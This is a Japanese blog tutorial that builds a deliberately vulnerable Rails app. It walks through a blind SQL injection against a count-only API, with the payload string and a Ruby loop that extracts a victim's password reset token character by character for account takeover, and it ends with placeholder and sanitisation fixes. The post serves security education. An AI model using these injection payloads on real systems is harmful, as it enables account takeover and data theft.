2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SQLインジェクション、怖くなくね?

Last updated at Posted at 2023-12-04

 
釣りタイです。怖いねという話をします。

また、本記事はあくまでも学習目的での手法の紹介記事です。
実際に存在するサービス・サーバーへの利用/悪用は絶対にしないでください。

本記事について

SQLインジェクション(以下SQLi)で攻撃されちゃうやられアプリ(Rails + MySQL)を作りました。
それに対して実際に攻撃シナリオを考え、それを行うRubyのプログラムも作りました。
本記事ではこれらについて簡単に説明をしていきます。

想定読者は
「SQLiは聞いたことはあるけど攻撃を見たことはない」
ぐらいのRailsユーザーを想定しています。
また、RDSはMySQLでの実行を想定して文章を作成しています。

説明する攻撃の概要としては
「Hit件数しか返さないAPIで、SQLiを利用し、パスワードリセットトークンを窃取してアカウントを乗っ取る」というものです。

SQLiって知ってますか?

Robert'); DROP TABLE Students

ミームとして有名なやつです。

後述するアプリで言うところの

User.where("email = ''); drop table posts; -- ")

的なものRailsでやってみたことありますか?

mysql2 gemだと複文がデフォルトではオフになってるので 
; 区切りでSQLを組み立てても、複文実行されません。
なので2つ目のstatementに当たるdrop tableは走りません。(※1)

' or '1' = '1';--

where句にこれあると、
ログイン突破出来たり、本来見えるべきでないレコードが取得できちゃったりするやつですね。
じゃあpublicなテーブルにならこれやられても困らないんでしょうか
(そんなことはないという話を後でします)

union系

後ろにunionつけて、全く別のテーブルをぶっこ抜くようなやつです。

レコードの中身の情報を返さず、
カウント結果しか返さないようなAPIならUNION系のSQLi起こせても問題ないのでしょうか
(そんなことはないという話を後でします)

今回作ったアプリ

機能概要

  • 簡単なログイン機能と、投稿機能を持っています。
  • ユーザーはメールアドレスとパスワードで認証してログインします。
  • パスワードを忘れたときのために、パスワードリセット機能があります。
  • ユーザーが自身の投稿のうち、特定のtagを含んだものが何件有るのかを調べることができる機能があります

API定義(一部抜粋)

  • POST /api/v1/users/request_password_reset
    emailをpostしてpasswordリセット要求出来ます。
  • POST /api/v1/users/password_reset
    emailにとどくpassowrd_reset_tokenをpostして当該アカウントのpasswordをリセットします
  • POST /api/v1/posts
    postを作成します
  • GET /api/v1/posts/count_keyword
    以下のような処理のエンドポイントです。
    リクエストで指定されたtagを含む自分のpostのレコード数を返します。
def count_keyword
  # tagsは,区切りでtagの文字列が入ってる想定、簡単のためにこの検索をしているが、本来はもっと複雑な条件になる
  count = current_user.posts.where("tags like '%#{params[:keyword]}%'").count

  render json: { count: count.to_i }, status: :ok
end

実際の攻撃シナリオ

今回は、ユーザーのパスワードリセットトークンを盗み出す攻撃を実際にやってみます。
実際のフローは以下のように行います。
前提として、攻撃者は被害者のe-mailアドレスを知っているものとします。

(なお、以降説明する攻撃の手法を確認すれば、実際にはe-mailではなく、被害者のidなどからも攻撃が可能なことはわかるかと思います)

攻撃フロー

0. 被害者ユーザー(A)の作成

sign_upのエンドポイントを叩いて被害者ユーザーを作成します。
ここで被害者のemailをvictim@example.comと仮定します。

※スクリプトの簡単化のため、activation tokenがsign_upのresponseに含まれています。
実際のサービスではそんなことはしないので気をつけて下さい。
(∵メールアドレスの所有確認にならないから)

1. パスワードリセット要求

Aのメールアドレスでパスワードリセット要求 を送ります

2. 攻撃者アカウント作成

被害者と同じような手順でアカウントを作成します

3. Postレコードの作成

以降のSQLiで、検索対象とするレコードが必要なので、それを作成します。
以下はRubyのコードを示していますが、実際にはAPIのPostリクエストでレコードを作成します。
ここでは、検索対象とするレコードをposts.tagsにpiyoが含まれるレコードとします。

current_uesr.posts.create(title: 'title', content: 'content', tags: 'tag1, piyo, tag2')

4. SQLiの実行

以下の定義のAPIに対して後述のリクエストを繰り返し送ることで、
被害者のreset_password_tokenを特定します。

def count_keyword
  count = current_user.posts.where("tags like '%#{params[:keyword]}%'").count

  render json: { count: count.to_i }, status: :ok
end

5. パスワードリセット

4.で特定したトークンを利用してパスワードをリセットします。
攻撃者はこのときパスワードを設定し直すので、emailとパスワードが分かっている状態です。

6. ログイン(終)

変更したパスワードと被害者のメールアドレスでログインをします
おわり。

今回使うSQLiの説明

current_user.posts.where("tags like '%#{params[:keyword]}%'").count

の部分に注目します。

SELECT
COUNT(*)
FROM
  `posts`
WHERE
  `posts`.`user_id` = 122
  AND (tags like '%ここにparams[:keyword]に指定した文字列が入る%')

ということになります。

攻撃者はtagsがpiyoにmatchするpostがあるはずなので
params[:keyword]='piyo'としたときに

SELECT
COUNT(*)
FROM
  `posts`
WHERE
  `posts`.`user_id` = 122
  AND (tags like '%piyo%')

のようなクエリが実行されて、piyoというタグを含むレコードの件数が取得できるはずです。

これを利用して以下のような値をparams[:keyword]に設定します。

params[:keyword] = <<~SQL
    piyo%' and 1 in (
     select 1 from users where 
         reset_password_token like 'a%' 
         and email = 'victim@example.com'
    )
    and 'hoge' like '
SQL

このとき、SQL全文は以下のようになります。

SELECT
  COUNT(*)
FROM
  `posts`
WHERE
  `posts`.`user_id` = 122
  AND (
    tags like '%piyo%'
    and 1 in (
      select
        1
      from
        users
      where
        reset_password_token like 'a%'
        and email = 'victim@example.com'
    )
    and 'hoge' like '%'
  )

副問合せの部分は
victim@example.compassword_reset_tokenaから始まっている場合には1を返します。
つまり、 count_keyword の結果が0より大きいか否かを確認することで、
password_reset_token の1文字目を確認できるクエリになっています。

この様に1文字ずつ確認していき、
like 'a%' の部分をだんだんと発覚した文字に置き換えて伸ばしていくことで、
tokenの全文を取得することが可能です。

これらを実際に実行するコード

長いのでこれを開いて読む必要はありません。
https://github.com/k-karen/sqli-rails/blob/main/exploit-scripts/exploit.rb

以下、重要な部分のみ切り出しています。

# 適当にtokenに使われそうな文字を列挙
CHARACTORS = [*('A'..'Z'), *('a'..'z'), *('0'..'9'), '_', '-']

# ここにtokenを1文字ずつ付け足していく
token = ''

# トークンの長さが不明と仮定する、全文字探索してlikeに引っかからなければ、token全文を取得したとする
# その確認のフラグの値
token_updated = true 

while token_updated
  token_updated = false
  CHARACTORS.each do |chara|
    # tokenに1文字付け加えてみる
    injection_query = "piyo%' and 1 in (select 1 from users where reset_password_token like '#{token}#{chara}%' and email = '#{victim[:email]}') and 'hoge' like '"

    # SQLiのリクエストを送る
    res = count_keyword(session_cookie, injection_query)

    #レスポンスのcountを確認して、ループのための処理をする
    if res['count'] > 0
      token += chara
      token_updated = true
      print("\rtoken searching... #{token}")
      break
    end
  end
end

実際に実行してみる

$ docker exec -it sqli_app bash
# -- in conatiner
$ bin/rails db:create db:migrate
$ ruby exploit-scripts/exploit.rb

docker-compose logs -f しながらexploit.rbを実行するとこんな感じです。

out.gif

まとめ

SQLi、(攻撃者からすると)超便利で怖いので絶対にplace holderを使いましょう。

例えば今回の場合は

count = current_user.posts.where('tags like ?', "%#{params[:keyword]}%").count

の様になっていれば、SQLiは起きませんでした(追記読んで)

current_user でscopeを区切っていたりしても、
副問合せの部分で自由度が高いので、好きなテーブルのデータを確認することが出来てしまいます。

order句でも似たような方法でこのような攻撃が可能です。
(当たり前ですが)where句以外も気をつけましょう。

今回はレスポンスのcountの値を確認しましたが、こんな露骨なAPIでなくてもインジェクションがあれば攻撃が可能です。
他詳しく調べたい場合はBlind SQL injectionで検索したり、下記参考サイトをご参照ください。

参考にしたサイトなど

https://www.docswell.com/s/ockeghem/5DWJ8Z-rails-sql-injection-examples
https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection

補足

WAFで普通に弾かれるけどね…ということを言いたくてnginxを用意してあるのですが、
また元気があったら記事にするかもしれません。

(※1)
multiple statementを実行可能にすると、このSQLiは実現可能です。
onにする方法は以下を参考にしてください
FYI: https://github.com/brianmario/mysql2#multiple-result-sets

追記

sanitize_sql_like を使いなさ~~い!(しかるねこ)

order句でもSQLiできるか

文中に

order句でも似たような方法でこのような攻撃が可能です。

という記載をしてしまいましたが、Rails 6.1からは ActiveRecord::UnknownAttributeReference が起きてヤバそうなOrder句は弾かれるようになったみたいです。
(とはいえエラーをよく理解せず、外部入力をorderに渡す処理でArel.sqlを付けたらダメなのはダメなのですが…)

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?